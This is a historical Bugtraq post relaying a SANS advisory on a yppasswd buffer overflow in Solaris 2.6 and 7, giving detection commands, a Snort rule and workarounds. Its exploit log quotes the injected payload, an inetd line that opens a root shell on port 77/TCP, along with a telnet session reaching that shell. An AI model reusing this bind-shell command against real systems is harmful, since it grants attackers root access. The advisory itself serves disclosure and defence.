aleph,
please pass this on to bugtraq. this is *not* a crimelabs find, only some
information i haven't yet seen on bugtraq. this is culled from the
writeups by myself and matt fearnow (and is available on the incidents.org
website http://www.incidents.org/news/yppassword.php).
thanks.
____________________________
jose nazario [EMAIL PROTECTED]
PGP: 89 B0 81 DA 5B FD 7E 00 99 C3 B2 CD 48 A0 07 80
PGP key ID 0xFD37F4E5 (pgp.mit.edu)
Vulnerability Report
Vulnerability: Buffer overflow in yppasswd service
Affects: Solaris 6, 7 (SPARC tested, x86 unknown)
Exploit: In circulation (http://www.hack.co.za/)
Vendor Patch: Not yet.
Various people have contacted Sun about this. No
official word yet.
Workarounds supplied (included).
Credits: 'metaray'
Acknowledgements: Hackernews for heads up
Stephen Lee <[EMAIL PROTECTED]>
Melanie Humphrey <[EMAIL PROTECTED]>
Neil Long <[EMAIL PROTECTED]>
Matt Fearnow (SANS)
Description
Please note that this is a preliminary characterization of the Solaris
yppassword buffer overflow. This version is available to provide at least
some information about it. Please check back over the next few days as the
information is made more complete.
A buffer overflow exploit (for the SPARC architecture) has been found in
the wild which takes advantage of an unchecked buffer in the 'yppasswd'
service on Solaris 2.6, 7 machines. The Intel/x86 version of Solaris 2.6
and 7 may be vulnerable but has not yet been tested.
To check your system for vulnerability, use "rpcinfo -p | grep 100009" or
you can use "ps -ef | grep yppassword". If you see something, your system
is vulnerable to this exploit.
Exploit log message:
May 9 13:56:56 victim-system yppasswdd[191]: yppasswdd: user
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@L
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@P"
`"?-"?-"?-"? ; /bin/sh-c echo 'rje stream tcp nowait root /bin/sh sh
-i'>z;/usr/sbin/inetd -s z;rm z;: does not exist
Symptoms: two inetds running:
victim-system:# ps -ef | grep inetd
root 209 1 0 Apr 30 ? 0:18 /usr/sbin/inetd -s -t
root 8297 1 0 13:56:56 ? 0:00 /usr/sbin/inetd -s z
Effect: root shell on port 77/TCP
she-ra:$ telnet victim-system rje
Trying 192.168.10.5...
Connected to victim-system.example.com.
Escape character is '^]'.
#
Detection
While running the code against a "non vulnerable" Solaris system,
Snort picks up the following:
May 10 20:52:33 macew snort[30824]: IDS19/portmap-request-amountd:
192.168.4.38:654 -> 192.168.12.30:111
May 10 20:52:33 macew snort[30824]: IDS19/portmap-request-amountd:
192.168.4.38:654 -> 192.168.12.30:111
May 10 20:52:33 macew snort[30824]: IDS19/portmap-request-amountd:
192.168.4.38:654 -> 192.168.12.30:111
The following is the snort rule from whitehats, that picked this up:
alert UDP $EXTERNAL any -> $INTERNAL 111 (msg:
"IDS19/portmap-request-autofsd"; rpc: 10099,*,*;)
Protection
The best solution is to firewall your boxe(s) that are running NIS from
the internet. However this will not stop the insider attack.
Sun has not release an official patch for this yet. A workaround 1) would
be to turn off yppasswdd. This is around line 133 or so in
/usr/lib/netsvc/yp/ypstart. Just comment it out. The hack doesn't appear
to work if yppassword is disabled with NIS still running. Please note in
doing this, yppassword is not running and users cannot change their
password.
Another work around 2) is if you still need to run yppassword is to do
the following:
set noexec_user_stack = 1
set noexec_user_stack_log = 1
in /etc/system (after a reboot of course)
Of course a different exploit could work around that but hopefully this
will permit people to use yppasswd until a patch is forthcoming. This step
has not been tested yet.
References
Further information can be found at:
* http://www.incidents.org
* http://www.sans.org/infosecFAQ/unix/NIS.htm, Security Issues in NIS
* http://www.sans.org/infosecFAQ/unix/sec_solaris.htm Securing Solaris
Credits
This security advisory was prepared by Matt Fearnow of the SANS Institute
and Jose Nazario.
Also contributing efforts go to Melanie Humphrey for the 1) workaround and
Neil Long for the 2) workaround and to Stephen Lee. Acknowledgements:
Hackernews for heads up, and 'metaray' for discovering this vulnerability.
